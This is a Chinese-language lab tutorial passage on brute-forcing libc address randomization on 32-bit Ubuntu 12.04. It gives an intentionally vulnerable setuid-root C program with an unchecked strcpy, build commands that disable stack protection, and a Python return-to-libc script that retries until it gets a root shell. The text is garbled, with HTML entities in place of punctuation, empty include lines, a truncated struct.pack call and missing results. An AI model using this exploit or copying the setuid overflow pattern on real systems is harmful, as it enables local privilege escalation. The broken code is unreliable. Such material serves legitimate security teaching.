7.1 实验环境
VM 配置&＃xff1a;Ubuntu 12.04 (x86)
7.2 实验原理
什么是爆破&＃xff1f;
使用爆破技巧&＃xff0c;来绕过共享库地址随机化。
7.3 实验过程
7.3.1 漏洞代码
//vuln.c
#include
#include
int main(int argc, char* argv[]) {char buf[256];strcpy(buf, argv[1]);printf("%s\n", buf);fflush(stdout);return 0;
}
7.3.2 编译程序
ASLR 要为开启状态。
#sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"
gcc -g -fno-stack-protector -o vuln vuln.c
sudo chown root vuln
sudo chgrp root vuln
sudo chmod &＃43;s vuln
使用 ldd 命令可以看到在 ASLR 开启的情况下&＃xff0c;每次 glibc 的基址是随机的&＃xff1a;
但是&＃xff0c;我们可以发现其中的相同点&＃xff0c;也就是说&＃xff0c;libc 的随机化只能反映在 2 个十六进制位&＃xff08;即 8 个二进制位上&＃xff09;&＃xff0c;因此我们可以通过最多 次尝试&＃xff0c;命中它的真实地址&＃xff0c;从而获得 root shell。
7.3.3 进行攻击
攻击代码如下&＃xff1a;
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
libc_base_addr &＃61; 0xb7595000
exit_off &＃61; 0x00032be0
system_off &＃61; 0x0003f060
system_addr &＃61; libc_base_addr &＃43; system_off
exit_addr &＃61; libc_base_addr &＃43; exit_off
system_arg &＃61; 0x804827d
def conv(num):
return struct.pack ( "
buf &＃61; "A" * 268
buf &＃43;&＃61; conv(system_addr)
buf &＃43;&＃61; conv(exit_addr)
buf &＃43;&＃61; conv(system_arg)
print "Calling vulnerable program"
i &＃61; 0
while ( i <256 ) :
print "Number of tries : %d " % i
i &＃43;&＃61; 1
ret &＃61; call ( [ "./vuln" , buf ] )
if ( not ret ) :
break
else :
print " Exploit failed "
执行结果&＃xff1a;
共会产生255个输出&＃xff0c;进行部分截取&＃xff1a;
京公网安备 11010802041100号